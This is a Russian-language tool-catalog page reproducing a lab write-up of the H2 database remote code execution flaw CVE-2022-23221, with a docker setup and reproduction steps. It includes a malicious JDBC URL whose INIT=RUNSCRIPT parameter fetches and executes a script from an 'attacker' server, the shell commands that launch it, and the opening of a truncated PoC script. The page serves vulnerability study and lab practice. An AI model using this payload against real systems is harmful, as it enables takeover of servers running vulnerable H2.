Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit
Инструменты/GitHubGitHub/straightsang/h2-database-cve-2022-23221
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

Репозиторий
231 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

RCE в базе данных H2 (CVE-2022-23221)


1. Краткое описание

  • Ссылка: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 — это система управления реляционными базами данных, которая предоставляет возможность компилировать и выполнять Java-код непосредственно внутри SQL-движка.

  • Драйвер H2 разбирает JDBC URL для установления соединения между приложением и базой данных. При этом через параметры конфигурации, включённые в URL, можно управлять начальным состоянием или поведением базы данных.

  • В уязвимых версиях H2 до 2.1.210 существует проблема, позволяющая через параметр INIT в JDBC URL выполнять удалённые SQL-скрипты. Злоумышленник эксплуатирует это, внедряя с удалённой стороны специально сформированный SQL-скрипт и выполняя через его внутренние конструкции системные команды, что и приводит к уязвимости CVE-2022-23221.

  • Особенности этой уязвимости следующие.

    1. Не требуется аутентификация: любой, у кого есть право вводить JDBC URL, может воспользоваться этой уязвимостью и захватить контроль над системой.
    2. Автоматический запуск при старте сервиса: если злоумышленник изменит только файл конфигурации, RCE (удалённое выполнение кода) произойдёт автоматически при запуске сервиса, использующего H2.
    3. Скрытность: разработчику трудно распознать атаку.
    4. Широкий масштаб ущерба: благодаря высокой скорости и лёгкости H2 используется для разработки и тестирования различных веб-сервисов. Поскольку любой сценарий, где JDBC URL задаётся через файл конфигурации или на основе пользовательского ввода, может стать целью атаки с использованием этой уязвимости, масштаб последствий велик.
  • Область воздействия уязвимости

    • Уязвимые версии: H2 ниже 2.1.210
    • Исправленная версия: H2 2.1.210 и выше

2. Условия уязвимости

  • Версия должна быть ниже H2 2.1.210.
  • JDBC URL должен содержать IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> обход настроек безопасности
      • При наличии этих параметров настройки безопасности нейтрализуются, поэтому при инициализации команда выполнения удалённого скрипта не блокируется и выполняется как есть.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> SQL-команда, автоматически выполняемая при соединении приложения с БД
      • Если в качестве значения параметра INIT указаны SQL-команда RUNSCRIPT и адрес вредоносного скрипта, H2 при установлении соединения между приложением и БД H2 подключается к этому серверу, скачивает файл и выполняет его.
  • Скачанный SQL-скрипт должен содержать SQL-конструкцию CREATE ALIAS.
    • Конструкция CREATE ALIAS внутри удалённо выполняемого скрипта заставляет H2 выполнить Java-функцию из скрипта внутри БД, что в результате приводит к RCE.




3. Настройка окружения

  • Сценарий

    • Разворачивается уязвимое окружение H2, и в H2 вводится вредоносный JDBC URL. H2 разбирает этот URL без должной проверки и получает sql-файл с сервера attacker и выполняет его. Если в логах сервера h2-vulnerable появится строка “EXPLOITED” вместе с результатами выполнения команд id, whoami, pwd, это означает, что уязвимое окружение H2 развёрнуто и что в процессе разбора вредоносного JDBC URL файл exploit.sql был удалённо скачан с внешнего сервера attacker и выполнен.
  • Настройка окружения

    docker compose up -d 
    

    docker ps

    • При выполнении команды запускаются следующие окружения.
    • h2-vulnerable: H2 2.0.206 (уязвимая версия до патча)
      • Веб-консоль H2: http://your-ip:8082
      • TCP-сервер: tcp://your-ip:9092
    • attacker: HTTP-сервер
      • http://your-ip:8000 : предоставляет файл exploit.sql
  • После настройки окружения при подключении к http://your-ip:8082 открывается веб-страница H2.




4. Порядок воспроизведения

: В веб-консоли применяется политика безопасности, поэтому параметры, являющиеся условием уязвимости, могут быть отфильтрованы; таким образом, для воспроизведения уязвимости вредоносный параметр JDBC URL вводится напрямую через CLI, и проверяется результат.

[Случай нормального запроса]

  • Нормальный JDBC URL: "jdbc:h2:mem:test"

  • Команда нормального запроса

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Результат выполнения Выполнение через CLI

    • Запросов, поступивших на сервер attacker, нет
    • На сервере h2-vulnerable не выводится никаких логов

[Случай атаки на уязвимость]

  • Вредоносный JDBC URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Выполнение атаки

  • Вредоносный JDBC URL вводится в драйвер H2, чтобы попытаться установить соединение с сервером attacker. При этом есть 2 способа ввода URL.

    1. Напрямую ввести вредоносный JDBC URL в H2 Shell через CLI.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    Выполнение через CLI

    1. Запустить файл PoC.
    python3 poc.py
    

    Запуск poc.py

2. Запрос и выполнение файла

  • H2 в соответствии с указанным в параметре INIT JDBC URL INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' запрашивает (HTTP GET) файл exploit.sql у сервера attacker и выполняет его внутри базы данных H2.

    1. При выполнении docker logs attacker можно увидеть лог запроса файла exploit.sql, поступившего с сервера h2-vulnerable.
    docker logs attacker
    

    1. Сервер attacker возвращает запрошенный файл exploit.sql, а сервер h2-vulnerable выполняет полученный файл exploit.sql. При этом конструкция CREATE ALIAS внутри скрипта инициирует выполнение Java-кода, в результате чего возникает RCE


5. Код poc.py

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys
Скачать инструмент